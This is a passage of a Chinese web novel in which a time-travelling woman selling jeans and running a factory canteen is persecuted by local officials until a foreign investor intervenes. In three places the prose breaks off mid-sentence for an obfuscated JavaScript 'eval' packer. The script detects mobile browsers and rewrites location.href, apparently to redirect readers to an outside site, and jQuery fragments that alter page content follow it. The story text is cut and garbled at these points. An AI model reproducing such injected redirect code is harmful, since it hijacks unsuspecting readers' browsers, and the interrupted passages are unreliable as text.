林守卫赶着骡车,把她们送到县城百货大楼门前,便赶着车回了纺织厂,他还要忙活工人们的早饭。 早饭是小米南瓜粥,菜是酸辣土豆丝配上清炒大白菜,还有白面馒头和杂粮馒头当主食,这些林守卫和李萍早就做惯了,一切都很顺利。 等工人们吃过早饭去上工后,食堂里来了几个穿制服的,林守卫赶紧去招呼,还没有等他打招呼,几个穿制服的同志说的话让他当场石化。 34. 焦头烂额 “一条30块钱太贵了,20块我就买。” “我嫂子就是纺织厂的,你这一条牛仔裤15块都有的挣。” 安平县百货大楼门前,林沐瑶卖牛仔裤的摊子前,围了一群年轻男女,他们都是被牛仔裤吸引来的。 牛仔裤现在是风靡华国大地的时尚单品,年轻男女趋之若鹜,以前安平县没有,他们买不到心头痒痒。 现在有卖牛仔裤的了,又为自己的荷包着急,年轻人都刚刚参加工作没多久,工资几乎都是都是20到30之间,一条牛仔裤就是他们一个多月的工资,他们再喜欢也要掂量掂量,但又实在喜欢,讨价还价便开始了。 牛仔裤是稀缺货,林沐瑶底气十足,安平县卖不掉,还有北城市,北城市再卖不掉,还有京城海城这样的大城市,反正她不怕压货。 遂态度非常坚定,“虽然这牛仔布料是咱们安平县纺织厂生产的,但是款式却是专门去海城那边找人设计的,打版也是找的老师傅,做工方面我们也是严格把关,少了30块,就得亏本。” 她一通天花乱坠地诉说,一部分青年男女动摇了,他们的荷包开始瑟瑟发抖。 而就在这时候王春花上气不接下气地跑来了,她脸上全是着急忙慌的神色,拨开人群,挤到林沐瑶跟前,气喘吁吁地道:“瑶丫头,纺织厂食堂出事了。” 林沐瑶手里的牛仔裤一个不稳,掉在了地上,她赶紧捡起来,把旁边的蛇皮袋拿来,大声道:“今天有事,牛仔裤不卖了。” 然后又扭头看向王春花,“婶子,帮我装货,咱们赶紧回食堂。” “哎!” 王春花赶紧过去帮忙,边装边肉疼,这么多人,总能卖出去几条牛仔裤,卖出去一条,就是一个月工资。 但目前食堂的事要紧,想起食堂,她便开始说纺织厂食堂的遇到的麻烦,“瑶丫头,这次是卫生局的人……” “婶子,咱们路上说。” 林沐瑶赶紧打住她的话,并且用眼睛看了看周围依依不舍的顾客,王春花秒懂,赶紧闭上了嘴巴。 而周围人见林沐瑶说走就走,也慌了,顾不得牛仔裤贵了,纷纷开口,“同志,我买一条牛仔裤。” “对不住,家里有事,今天不卖了。” 林沐瑶淡淡地拒绝,牛仔裤是卖方市场,她根本不愁销路,她现在发愁的是纺织厂食堂的事。 先是挑拨牛角岭大队帮她加工衣裳的社员背刺她,接着又是纺织厂的食堂出事,她有种直觉,她被人盯上了。 她穿越以来,一直兢兢业业地搞钱,并没有跟人结怨仇,但有时候不是你不惹事就成的,有人的地方就有江湖,她手里的买卖都利润颇丰,偏偏没啥见不得的后台,被人盯上也不奇怪,说到底还是一个利字害人。 路上王春花终于把今天食堂遇到的事说了,“瑶丫头,卫生局的人说咱们食堂的饭菜不卫生,要咱们停业整顿。” 林沐瑶问:“除了卫生,还说其他问题了没有?” 王春花摇了摇头,“没说。” 林沐瑶叹气,能够请得动卫生局的人,看来背后的那只黑手能量不小,很有可能就是官二代,要不然就是有当干部的亲戚,但无论哪样都不是她能够得罪的。 她身上充满了无力感,她累死累活地奋斗了这么久,才积攒了这么点儿成就,就这么被迫让人,她不服。 她心头憋着一股子气,这次她就是撒泼耍横,一哭二闹三上吊,也要保住自己好不容易挣来的基业。 不过这之前还得先礼后兵,她没走两步,就停住脚步,把蛇皮袋往王春花手里头一递,说道:“婶子,等一等,我去供销社买一条烟。” “哎。” 王春花赶紧接过蛇皮袋,赶紧道:“你赶紧去。” 等林沐瑶刚走了两步,她又喊住了她,“瑶丫头,你带钱了吗?” 林沐瑶这才想起这个年代不像后世,有钱就能买好烟,现在买好烟还是需要票的,但她没票,眼珠子一转,她扭头回头,又把蛇皮袋从王春花手里拿了过来,“没钱没票,但我有牛仔裤。” 一条牛仔裤不成,那就两条,两条不成,那就三条,总要拿到她想要的软华子,无论现在还是后世,软华子都是求人办事的硬通货。 她提着蛇皮袋进了百货大楼,走到了烟酒柜台,本来售货员对她还爱搭不理,一副没票就不卖烟的样子。 但等她拿出了牛仔裤,人立刻松动了,最后她用五条牛仔裤换来了一条软华子。 把烟放进蛇皮袋,她提着去跟王春花汇合,俩人拦了一辆人力三轮车,紧赶慢赶地来到了纺织厂食堂。 她们还没有进门呢,就听到里面一个挑剔的男中音,“看看你们这锅底的灰多厚,还有这灶台上面的油渍,厨房的垃圾也不及时倒。” 这么好听的声音,被尖酸的话语给糟蹋了,这不是鸡蛋里头挑骨头吗,锅底灰都是错,他们的灶台可是经常擦洗,就算有油渍,那肯定也是早饭时候留下的,还没有来得及清洗。 还有厨房的垃圾也会及时清理,绝对不会堆积在厨房,这人指的垃圾肯定是早饭后,还没有来得及清理的。 她眉头拧成了疙瘩,心头蹿起了一股子邪火,真是太欺负人了,但那又怎样,她努力深呼吸几下,压下火气,脸上挂上笑容,抬脚走近了食堂。 林守卫看见她,赶紧做介绍,“黄同志,这位是林沐瑶林同志,是我们食堂的总负责人。” 那位黄同志中等身材,圆胖脸,带着一副黑框眼镜,深蓝色中山装的上口袋别着两支钢笔,一副干部派头。 他眼睛在林沐瑶身上上上下下地打量了打量,眼里划过一抹轻蔑的光,一看这位林同志就是靠姿色,扒拉上老杨家那位后人的。 虽然安平县纺织厂是老杨家后人投资的,但他毕竟是外来的和尚,这里是安平县,自然得他们安平县人说了算。 牛仔裤的生意工商局副局长的小舅子看上了,安平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14098658|147244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 县有能力掏大价钱买牛仔裤的人,就那么一小撮儿人,人家不想劳碌奔波去外地挣钱,就只能吃独食了,林沐瑶那个摊子就不能摆了。 另外就是他老丈人家看上了纺织厂食堂的活计,稳定还有油水,于是他便找了他们卫生局的过来。 要是林沐瑶知道了,肯定气歪鼻子,合着这一家人就逮着她一个人薅羊毛。 但所有的不满,她都藏在了笑容里,笑着从蛇皮袋里拿出软华子,打算做最后的争取,“几位同志一大早过来,招待不周,来抽根烟,解解乏。” 虽然好烟吸引人,但人情更加重要,谁家没几个孩子没工作,想着做个体户,但个体户也不是想做就能够做的,得有工商局批的营业执照,工商局副局长的人情可就要用上了。 “我们有纪律,不能拿群众的一针一线。” 黄同志一脸严肃地拒绝。 林沐瑶眉头蹙了蹙,这背后黑手能量挺大啊。 她赶紧又针对刚才他们提出的问题,提供解决办法,“锅底灰多了我们马上就换新锅,灶台上的油渍,还有垃圾,我们马上清理。” 但人家是专门来找茬的,哪里会轻易罢手,“你们的消防措施不到位,得整改,否则有安全隐患。” 隐患个der啊,林沐瑶心里头吐槽,但面上还是笑着解释,“我们食堂的消防措施和纺织厂用的是同一套。” 结果换来了黄同志的严厉批评,“纺织车间是纺织车间,厨房是厨房,消防措施怎么能够一样,简直胡闹。” 得,今天看来是必须要停业整顿了,她咬牙答应,“好,我们停业整顿。” 内心则想着去找刘厂长,看看他能不能帮她跟那只黑手说说情。 等黄同志等人一离开,林守卫和李萍,王春花便把林沐瑶围住,一起问:“瑶丫头,该咋办啊?不能真停业整顿啊。” 林沐瑶虽然心头压着一大石头,但面上还是从容淡定,用平稳的声音说:“我去找找刘厂长,看他能不能帮帮忙。” 李萍赶紧附和,“那你赶紧去。” 林沐瑶点了点头,抬脚便去找刘厂长,到了刘厂长的办公室门口,她深吸一口气,抬手敲门,但刘厂长不在办公室,她敲了一会儿没人回应。 她接着便去找了助理,问刘厂长的去向,助理却说道:“厂长出差了,得三五天才能回来。” 林沐瑶有些颓丧,但很快她就重拾信心,打算去找姬县长,但姬县长也不在,他下乡考察了,她气地跺脚,又去找方正,打算问问他,有没有认识的人,但是方正竟然破天荒地出远门去进货了。 林沐瑶差点气吐血,她能找的人,怎么都不在? 好在她再一次去找姬县长的时候,终于有了好消息,姬县长明天就能够回来,她总算松了口气。 打算一边卖库存的牛仔裤,一边等姬县长,但她去百货大楼摆摊的时候,又来了几个干部模样的人,那一脸的严肃,让她心头有种不好的预感。 35. 能屈能伸 几个干部模样的人走到摊子前,其中一个梳着大背头的中年干部站出来,问:“同志,这摊子是你的吗?” 他的神情很温和,看着像是来买东西的。 林沐瑶赶紧笑着问:“同志,您要买牛仔裤吗?布料绝对结实,款式也是海城最时兴的款式。” 中年干部的温和神色一收,脸色一绷,严肃着脸,说道:“你摆摊卖的货属于暴利,有扰乱市场秩序的嫌疑,跟我们走一趟。” 这背后黑手能量不小啊,不仅卫生局的人给请来了,这工商局的人也能够请得动,看来她是遇到硬茬子了。 心里再翻江倒海,她面上仍然维持着笑容,说道:“可有明文法规白纸黑字地写出怎么样才算暴利?要不然我就算跟你们走,我也不服气。” 工商局的几人面面相觑,看着林沐瑶柔柔弱弱的,面上还带着俏生生的笑容,怎么看都是柔弱小女子,哪里想到张嘴就是法律法规,要跟他们要白纸黑字。 他们也不是盖的,中年干部扭头给一个年轻小伙子递了一个眼神,小伙子秒懂,上前一步就大声地背诵,“根据华国市场条例……” 林沐瑶听完却笑了,“你背诵的是80年9月份以前的,因为要做买卖,我特别了解过华国市场商业条例法规,我自认为没有违反任何一条规定。” 工商局的几位同志没有想到她这么难缠,中年干部耐心告罄,支使后面几个年轻小伙子,“把她的货没收了,把人带走。” 林沐瑶赶紧护住自己的货,并且大声斥责:“你们这是暴力执法!” 但这几个人却充耳不闻,两个人去收货,两个人过来扭住林沐瑶的胳膊,林沐瑶气地身体发抖,大骂道:“新社会朗朗乾坤,光天化日,工商局的人欺负老百姓了。” 但是她歇斯底里的骂声却没有喊来路见不平的群众,他们不仅不帮她,还劝她,“同志,你就跟着工商局同志走一趟吧,咱们是新社会,只要查清楚你没有犯事,肯定会还你清白的。” 林沐瑶心里悲凉,新社会相比于旧社会,她的人身安全是没有问题,但是她辛辛苦苦求出来的挣钱路子,可就没有了,她不服,她不会认命的。 她使出吃奶的劲儿开始挣扎,“救命啊,工商局的人欺负老百姓了!” 但她一个弱女子哪里是两个成年男子,不,三个成年男子的对手,中年干部见她挣扎得厉害,也过来帮忙制服她了。 林沐瑶虽然身体养好了些,但到底亏了根本的,哪里说能养好就养好的,挣扎了几下,便累得满身是汗,最后不得不停止了挣扎。 留得青山在,不愁没柴烧,这事儿不能硬刚得智取,只要她还有一口气,必定会报今日的仇。 “你们在干什么?” 一句带着怒气的质问声响起。 无论是工商局的几个人,还是林沐瑶均抬头看向来人,话是季晖喊的,但最显眼的却是他身边的杨志彬。 上午的太阳正在慢慢地往上爬,以便在中午释放它所有的热情。 而阳光洒在穿着一身剪裁得体的杨志彬身上,他身材高大挺拔,英俊立体的五官被阳光镶了边,给他镀了一层圣光,他踩着稳健的步伐向她走来,问:“需要帮忙吗?” 林沐瑶抬起狼狈的脸,使劲儿地点了点头,有大腿能抱就抱,何必去纠结所谓的自尊和面子,穷人有时候最不能计较自尊和面子。 杨志彬点了点头,然后朝着季晖看去,季晖心领神会,上前一步先做了自我介绍,“我是漂亮国杨氏集团杨总经理助理,林沐瑶同志是我们的合作伙伴,没想到我和杨总竟然有幸看到华国暴力执法的情景,看来杨总想要在安平县继续投资建厂的想法,得谨慎考虑才是。” 最后一句话让工商局的几个人脸色发白,冷汗直流,现在改革开放已经是大势所趋,各地政府都在想办法拉拢投资,如果因为他们黄了,可就摊上大事了。 中年干部赶紧解释道:“我们也是迫不得已,当事人不配合,我们只能用特殊手段。” 季晖问:“林沐瑶同志犯了什么事?” “扰乱市场秩序。” 中年干部声音有些紧绷,这罪名的证据并不算充分,是他们强行给安上去的,没人计较还好,要是有人较真,他们几个还真得不了好。 要知道杨总这个假洋鬼子今天回来,他们无论如何也不会帮副局长的小舅子的,真是好处没捞到,反而惹了一身腥,得不偿失,肠子都悔青了。 季晖听了他们的解释,冷笑道:“据我所知,在大城市牛仔裤都是35块一条,林沐瑶同志卖的30块钱一条,价格并不高,见了姬县长后,我高低要问问,这白纸黑字的法律法规不算数,算数的是干部嘴里的法律法规。” “不不不,季助理误会了,这里面有误会。” 中年干部急切地解释道:“今天我们有错,没有调查清楚就过来执法。” 他也能屈能伸,立刻扭身给林沐瑶道歉,“林沐瑶同志,对不起,是我们工作失误,以后肯定不会再犯类似错误。” 林沐瑶有了靠山,底气十足,冷笑道:“不是所有的道歉都会被原谅,你们的道歉,我不接受。” 中年干部脸顿时黑了,抬起头,用眼睛阴恻恻地看了眼林沐瑶,用眼神表达他的意思,“见好就收,你总要在安平县生活,杨总保护不了你一辈子。” 林沐瑶眼睛直直地瞪了回去,华国那么大,她不是非安平县不可,而且她本就是异世之人,对于安平县没有故乡情怀。 中年干部见林沐瑶真不打算放过他,心底发沉,他这次是真栽了,就是工商局的副局长都自身难保了。 既然如此,他也不打算多留,跟杨志彬和季晖说了告辞,便带着人离开了,他得回去找副局长,想想怎么挽救目前的情况。 等他们离开,林沐瑶就走了过来,面带感激地看着杨志彬和季晖,“谢谢杨总,谢谢季助理,要不是你们,我这次就麻烦了。” 季晖好奇地问:“你得罪谁了?” 林沐瑶苦笑,“华国有句老话,匹夫无罪,怀璧其罪。有人看上我生财路子了。” “华国不是最讲究平等民主吗?怎么还欺压平民?” 季晖不解地问。 林沐瑶叹气,“阳光总有照不到的地方,世界哪里有乌托邦,华国只不过给她的国民们创造了一个相对公平的国度,但哪里能够一点腌臜事都没有呢。” 闻言,季晖出言打趣道:“你倒是豁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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因为明天要去见姬县长,林沐瑶晚上就不回牛角岭大队了,回去后,她怕被支书教育要以大局为重,让牛角岭大队继续做养殖基地。 但大局为重了,她自己个就要憋屈,别人欺负她,牛角岭大队的人给人当刀子,从背后捅她一刀,这样的社员她凭什么给他们谋福利。 她就是要他们看着别的人大把挣钱,大块吃肉,他们却什么都得不到,抓心挠肝得悔恨。 她因为没有介绍信,不能去招待所,便去找了方正的妻子求收留。 方正的妻子,也知道她最近遇到的麻烦,担忧地道:“林妹子,你还好吗?实在不成,就把财路让出去,人最重要。” 林沐瑶微微一笑,“嫂子放心,杨总回来了,他会帮我。” 方正妻子顿时放心了,“有杨总帮忙,肯定能够帮你把财路保住。” 林沐瑶笑了,不仅能帮她财路保住,还能帮她报仇雪恨,当然她也不会让杨总吃亏,她还有一个大的生财计划,投资小,回报大,而且还能够积累好名声,她本来想要等有实力了,自己做的。 现在她不等了,她要快速变强,只有变强了,才不会随意地被人鱼肉。 36. 大仇得报 晚上从安平县城办事回来的社员,告诉支书林沐瑶在城里住下的事,支书拧眉,问:“瑶丫头咋在城里住下了?” “当然是有事了。” 李萍横了他一眼回道:“没听说吗,今天工商局的人差点把她的牛仔裤给全部没收了,还好杨总及时赶到了,要不然这次亏大了,瑶丫头自然要在城里把事情给解决了。” 闻言,支书的额头拧成了疙瘩,问:“最近怎么总有人找瑶丫头麻烦,这事不寻常。” 李萍手里正在织毛衣的动作停下了,喃喃自语道:“先是挑拨咱们大队加工牛仔裤的社员,再到食堂停业整顿,又没收牛仔裤,一桩桩一件件全是想要把瑶丫头踩下去啊。” 然后她急了,拽住支书的胳膊,急切地道:“老头子,你快想想办法啊。” “今天天晚了,明天一早,我进城去瞅瞅。” 支书沙哑着声音说道。 其实他也没啥好办法,他也就一个农村大队的支书,公社那边还好,他还认识几个人,但在安平县城却是没办法的。 但瑶丫头毕竟是自己看着长大的孩子,又是牛角岭大队最出息的孩子,无论如何他都要试着帮忙活动活动的。 支书想着林沐瑶遇到的糟心事,把一直记挂的杨总和养殖基地的事给忘记了。 再说林沐瑶,方正家因为方正有能耐,家里住的不是筒子楼,而是一小四合院,家里也就他们两口子,再加一个老娘,一男一女两个孩子,人口少,房子也够住。 她晚上一个人一个房间,洗漱后,躺在炕上,想着这些天遇到的事儿,她眼里冷芒闪现,这个世界本就是弱肉强食,她被针对,还是她不够强大,想不被人欺负,只有变强。 第二天一早,她起床洗漱,又出去买了豆腐脑和包子,给方家人加餐,人家好心让她留宿,她也不能不知事,白吃白喝白住啊。 “哎哟,林妹子,你花钱买这个干啥,家里都有。” 方正妻子王慧慧嗔怪地道。 林沐瑶笑呵呵,“就不许我这个当姑姑的给侄儿侄女添个菜,再说我也嘴馋了。” 方正妻子虽然又嗔怪了她两句,但是脸上的笑容真诚了许多,谁不喜欢会来事的客人。 待吃过早饭,林沐瑶便提出告辞,去政府招待所见杨志彬,她到的非常巧,姬县长和两个她不认识干部,也正巧来找杨志彬,他们在招待所门口不期而遇。 姬县长是认识林沐瑶的,他们安平县只是内陆的一个小城市,经济全靠钢铁厂支撑,过得比上不足比下有余。 但随着改革开放,市场经济代替了计划经济,县城几个国营厂本就不好的效益更加不好了,有的厂都要发不出工资了,直接造成的就是县里的财政困难。 这时候杨志彬回国投资的牛仔布料纺织厂,一经投产便供不应求,让县里财政回了一波血,当然最重要的是给安平县提供了几百个工作岗位,按照纺织厂目前的情景看,税收和工作岗位还能再增加。 他这次去北城市开会,还因此受到了上级领导的表彰,带着好心情回来,就听到一则坏消息,杨总打算在安平县再投资建厂,他是知道的,是一家真空包装食品厂,需要大量的肉蛋。 这么一来,这个食品厂不仅能够为县城青年提供工作岗位,还能够辐射周边农村,他对这个厂的看重,超过了牛仔布料纺织厂。 真空包装食品厂的产业链辐射的范围广,受惠的人也多,可以使安平县农村经济盘活,这么一来,他们安平县假以时日定能够成为北城市第一富裕县城。 但这个美梦在他从北城市回来后,就被兜头浇了一头的凉水,本地的几个干部暴力执到杨总的朋友头上,还被杨总撞了个正着。 杨总生气之余,扬言不信任安平县的环境,不再投资真空包装食品厂,要不是昨晚他回来时已经晚了,怕打扰到杨总休息,他会立刻拜访杨总。 但如今他也不敢耽搁,杨总既然要休息,但惹事的人却不用顾忌,他立刻让人把惹事的那几个人找了来,先是指着他们破口大骂,出了一口恶气。 接着便开始审问到底为什么找林沐瑶的茬,这时候事情闹大了,几人也不敢替工商局副局长的小舅子遮掩,竹筒倒豆子一样全交待了。 姬县长气地把桌子上的搪瓷杯掼到了地上,大怒道:“就因为一个副局长小舅子的私心,你们就能够目无法纪欺压群众,还搅黄了杨总对安平县的大笔投资,你们是整个安平县的罪人。” 听到最后一句话,几人脸色发白,额头间冷汗直流,他们现在才知道,他们的官职丢了,哪怕去吃劳改饭,反而成了小事,如果真因为他们的缘故,杨总撤回了将要的投资,他们的家人得要承受全安平县人的怒火。 国营厂的经济效益不好,再加上这些年陆陆续续回城的知青,以及本来就没有能够安排好工作的待业青年,以及农村社员好不容易等来的致富机会就这么泡汤了,这些人心头的怨气不能够朝着杨总发,他们以及他们的家人就成了他们发泄怒气的活靶子。 虽然新社会有治安管束,他们的家人不会有性命之忧但是周围人的白眼,以及指指点点,甚至有那偏激的人,指不定还会给他们家的大门泼粪。 想到这些,几人便期期艾艾地道:“县长,我们知道错了,我们这就去给林沐瑶同志道歉,跪也要跪到她消气。” 姬县长冷哼一声,“如果事情这么好办,我都想去跪。” 因为杨总的关系,他倒是了解过这个林沐瑶,这个女同志能从一穷二白,成为一富户,奋斗到如今的位置,虽然有些运道,但实力和手段都有。 有本事的人一般脾气大,这些人接二连三地给她添堵,这事儿恐怕没那么容易过去。 就在这时候工商局副局长也来了,小舅子这些日子的动作他都知道,林沐瑶不过一个没背景的农村人,手里握着的买卖都是挣钱买卖,小舅子夺了也就夺了。 只是没有想到她跟老杨家从漂亮国回来的杨总,竟然关系这么好,杨总竟然会为了她,撤销原本打算的投资。 他终于意识到这次捅了马蜂窝了,如果处理不好,他的麻烦不小,他到了县长办公室,自然又挨了县长的训斥。 县长看着他们气不打一处来,他在前面努力争取投资,为安平县人民群众找致富机会,后头一群拖后腿的。 工商局副局长赶紧提出他想好的解决办法,“县长,我们明天就去找杨总,杨总今天的话大概率是气话,我们跟他讲讲乡土情,再多给优惠政策,他应该不会撤销投资,另外我们也会去跟林沐瑶同志道歉,这次是我没有管束好家属,以后肯定不会有此类事情发生。” 姬县长眼里泛着冷意,如果不是杨总的投资要紧,而且处理一个副局长级别的干部程序繁琐,他真想学古代的皇帝,把这人叉出去,摘了他的乌纱帽。 如今也只能先按照他的提议进行,至于他违规违纪的事,自然会有相关部门跟进,这才有了在政府招待所的不期而遇。 姬县长见了林沐瑶,首先笑着打招呼,“林沐瑶同志,你来找杨总?” 县长主动跟自己说话,林沐瑶受宠若惊,她赶紧问好,“县长,早上好,我来找杨总有事。” 姬县长笑着道:“正好,我也找杨总,咱们一起。” “好。” 林沐瑶从善如流,她今天本来就是找姬县长告状的,现在遇到了正好。 而工商局副局长也趁机过来道歉,“林沐瑶同志,你好,我是安平县工商局副局长周庆,我为昨天我们单位的人,给你造成的困扰道歉。” 这次林沐瑶的态度就没那么好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14121172|147244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她微扯嘴角,皮笑肉不笑道:“贵单位的人按照法律法规办事,有什么错呢,错的是我。” 周庆眉头一拧,这个林沐瑶不好相与啊,他一个副局长都给她道歉了,她竟然还阴阳怪气。 但姬县长在这里,他还是收敛脾气,继续道歉,“还是怪我们学习不够,没有能够及时地研读最新法律法规,让林同志受惊了。” “80年的法律法规,现在都没有学习,贵单位的人可真上进。” 林沐瑶讽刺道。 她当然知道周庆为什么跟她道歉,但道歉一不提他小舅子,二不提补偿她受的损失,只嘴上功夫,她又不是三岁小孩儿,几句甜言蜜语就能够哄得晕头转向。 见林沐瑶态度强硬,周庆放弃攻略林沐瑶,打算直接去说服杨志彬,毕竟他才是拿主意的。 但到了杨志彬房间,大家寒暄又相互介绍之后,姬县长便直奔主题,说起了真空包装食品厂的事儿,“杨总打算什么开工,我们安平县一定会做好后勤工作。” 季晖笑了,“我们可不敢在安平县投资了,就怕做大了,被人当作肥羊宰。” 姬县长脸有些发烧,就是周庆几人也是神色尴尬,华国有句老话叫作打人不打脸,没想到杨总的助理,竟然一点面子都不给。 “这是误会。” 周庆赶紧解释,然后吧啦吧啦地把说给林沐瑶的理由,又说了一遍。 季晖冷嘲:“那我们更不敢在安平县投资了,领导班子如此懒惰,三年时间都没有能够学习新的政策,我们哪里敢指望安平县的投资环境。” 姬县长见状,便开始看向林沐瑶,打算打感情牌,“林沐瑶同志,你来自农村,该知道咱们安平县农村人的贫困,真空包装食品厂对咱们县农村的意义,你应该清楚,听说你还帮你的家乡争取了养殖基地的名额,希望你能够以大局为重。” 林沐瑶现在就是一商人,谁都甭想跟她谈感情,她扯了扯唇,道:“安平县农村贫苦,其他地方的农村也不富裕,厂子建在哪儿,都能够富裕一片农村大队,他们也是华国的农村,所以我认为大局为重,应该摒弃乡土意识。” 听着林沐瑶小嘴吧啦吧啦地讲道理,杨总嘴角微扬,这人还挺有辩才的。 他心情好了,便准备帮林沐瑶一把,轻启薄唇,道:“安平县的交通,工人的素质,以及整个县的消费能力,都不是最佳投资环境,经过股东商量,我们打算在北城市投资建厂。” 大佬都给撑腰了,林沐瑶此时不告状,更待何时,“杨总英明,咱们厂是食品厂,安平县的卫生条例,还有消防条例,要求太严苛了,食品厂哪怕用了国际先进设备,都无法达标,所以去北城市是最佳选择。” 姬县长头疼,没有想到除了工商局,还有卫生局的事儿,他真要被这一群拖后腿的干部给气死了。 这次商谈不欢而散,姬县长回去的路上铁青着脸,他咬着后槽牙发狠,看来安平县的干部得好好地整治整治了,争取把害群之马剔除出干部队伍,要不然安平县人民群众脱贫致富路遥遥无期。 林沐瑶打了胜仗,整个眉毛都欢喜地扬了起来,眼睛亮晶晶地看着杨志彬,笑着问:“杨总,我有一个名利双收的生意点子,您有兴趣吗?” 杨志彬眉毛一挑,“说来看看。” 林沐瑶从包包里掏出一个本子,递给他,“这是我的构想,您看看可有兴趣?” 杨志彬接过本子,看着本子上那娟秀端正的字体,惊讶地了一瞬,便开始看内容,越来神情越郑重。 林沐瑶眉眼一弯,她又要有一只下金蛋的鸡了。 而远在海城的靳嘉,此刻正忐忑地看着自己老师,她写的林沐瑶和罗森之间故事的小说正式完稿,此刻正在请老师帮忙看看能不能发表,顺便推荐投稿的单位。 37. 双喜临门 彭泽教授看了靳嘉写的小说后,点评道:“故事取材于现实,女主人公先期懦弱,不是期待家人的爱,就是期待丈夫的爱,却忘记了爱自己,好在后来醒悟,自强自立活出了新社会女性的风采,非常有教育意义。” 靳嘉激动地呼吸都粗重了,但彭泽教授又继续开始挑缺点,“故事的冲突性不够强,叙述也过于直白,文笔太过稚嫩……” 每听一句,靳嘉的小脑袋就向下耷拉一次,最后等彭泽教授说完,她的脑袋已经低到了胸口。 等彭泽教授说完,她便忐忑地开口询问:“教授,我的作品能够出版吗?” 彭泽教授没有吊她胃口,给了肯定回答,“能。” 靳嘉眼睛“唰”的一下亮了,她虽然也在报纸期刊上发表过文章,但都是一些散文,小说还是头一次出版。 激动之余,她的手使劲地抓住自己的裤子,裤子大腿处的衣料被她拽手里揉成了一个球,她终于完成了林沐瑶的托付,把她的故事写了出来,并且发表了,让更多的人知道她的故事。 她从彭泽教授的办公室出来,第一时间就是回宿舍找了纸笔,给林沐瑶写信,写了自己最近的境况后,又写了彭泽教授对她小说的评价,最后承诺,如果小说出版了,她会邮递样品书给她。 而这一切林沐瑶一无所知,她此刻正在和杨志彬一起商量小商品批发市场的事儿。 林沐瑶这次的建议就是做一个小商品批发市场,就是批发鸡毛掸子、拖把、纽扣等等日常生活需要的小物件。 这些小物件虽然小,但却在日常生活中不可或缺,如果量大了,利润不可小觑,关键是这些小物件有一大部分,制造门槛简单,他们可以外包给小商品批发城附近的农村,为农村提供就业机会,为华国创造无数个富裕村庄。 有利润可挣,还等候获得好名声,这个买卖简直是名利双收。 杨志彬这些天在京城、安平县、海城以及香江来回转,对于华国的经济情况也了解得差不多了,林沐瑶的这个方案的确不错。 但交情归交情,生意归生意,该争取的利益他绝对不手软,不过这只是之后,目前最重要的是先抻一抻林沐瑶,不要让她看出自己对这门生意的看重,这生意对他来说可有可无,无非就是少一项生意,少挣一些钱。 但对于林沐瑶来说,那是她咸鱼翻身的机会,一番心里战之下,他能够争取到更多。 于是他把本子往桌子上一放,淡淡的表情,淡淡的语气,“方案很不错,但纸上的方案在现实环境中能不能行得通,又是另外一回事。” 林沐瑶眼神一黯,问:“所以呢?” “所以目前我不能跟你谈合作,得经过市场考察后,确定此方案可行,再商谈。” 杨志彬一副不甚在意的口气说道。 林沐瑶在内心暗骂一句,“天杀的资本家,就那么有钱了,让一让她这个穷人咋了。” 不过内心再如何吐槽,她也明白这是常理,易地而处,她也会为自己争取更多的利益。 她现在虽然钱不多,但现在物价低,完全够她生活,甭提她还会一如既往地倒腾搞钱,她也不急,所以杨志彬想要抻一抻她,跟她打心理战的想法,在她这里行不通。 她也云淡风轻地笑着道:“那我就静候杨总佳音。” 杨志彬看她的目光深了几许,他有一种感觉,林沐瑶看穿了他的想法,这个林沐瑶不简单啊。 “杨总,我能求你帮个忙吗?” 很快林沐瑶又开口道。 杨总点了点头,林沐瑶也不客气了,说道:“我拒绝了在安平县投资建厂,虽然事出有因,但也算得罪了全安平县的人,所以我想去北城市定居,但华国政府对于户口管理严格,还得请杨总帮帮忙。” 季晖在一旁笑了,“你是杨氏食品厂的二股东,带着外资到北城市,北城市领导肯定举双手欢迎你。” 林沐瑶抬手就拍了拍自己的额头,她怎么就把这事给忘记了,她如今也算一个小老板了呢。 她弯眉一笑,“谢谢季助理提醒。” 解决了心头大事,林沐瑶也不耽搁杨志彬正事,遂提出了告辞。 “季助理,你对华国很了解。” 淡淡的声音在招待所房间响起。 这话虽然听不出什么情绪,但是季晖还是听出了不满,他赶紧解释道:“就了解那么一点儿。” 杨总撩起眼皮子看了他一眼,“了解一点,就敢给本地人出主意。” 季晖不解地问:“杨总,林同志是咱们的合作伙伴,又是朋友,她遇到困难了,帮她一把,不应该吗?” 帮一把没事,但杨总心头就是不舒服,他也不清楚怎么了,看到林沐瑶和季晖说说笑笑便心头不舒服。 这种微妙的情绪她不能够宣之于口,只能梗在心口,自己不舒服了,看始作俑者季晖便不顺眼了,随口便给他派了不少工作。 季晖苦瓜脸,内心暗想,杨总和林沐瑶之间没发生什么冲突啊,刚刚杨总还帮林沐瑶撑腰来着,但是为什么他不过提点了林沐瑶两句,杨总就生气了? 他百思不得其解。 这边林沐瑶从招待所出来,没有回方正家,而是回了牛角岭大队,她要回去收拾收拾家里,准备搬去北城市。 